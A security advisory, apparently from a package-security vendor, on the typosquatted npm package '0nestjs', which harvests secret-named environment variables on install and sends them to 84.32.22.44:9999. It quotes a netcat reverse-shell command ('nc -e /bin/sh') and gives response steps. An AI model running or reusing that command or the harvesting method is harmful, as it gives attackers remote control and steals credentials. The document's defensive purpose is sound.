0nestjsnpm
Advisory published Updated
0nestjs is a confirmed malicious npm package (MAL-2026-15908) that steals credentials and exfiltrates sensitive data (malicious version 0.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in 0nestjs (npm)
What this malware does
Package name 0nestjs targets developers mistyping nestjs. On npm install, the postinstall hook node index.js executes automatically and performs two attacker-benefiting actions against the installer's machine. First, it enumerates process.env and collects every variable whose name matches /^(SECRET|API|TOKEN|KEY)/, then opens a raw TCP connection to the hardcoded endpoint 84.32.22.44:9999 (loaded from servers.json) and writes the harvested secrets as JSON. Second, it invokes nc -e /bin/sh <host> <port> against the same 84.32.22.44:9999 endpoint, wiring /bin/sh stdio to the remote host and giving the operator interactive command execution on the installer's machine. package.json self-describes as 'Typosquat of nestjs' with author 'typosquat-bot'.
The OpenSSF Package Analysis project identified '0nestjs' @ 0.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for 0nestjs (version 0.0.1).
If you installed it — respond
0nestjs is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If 0nestjs was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks 0nestjs-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.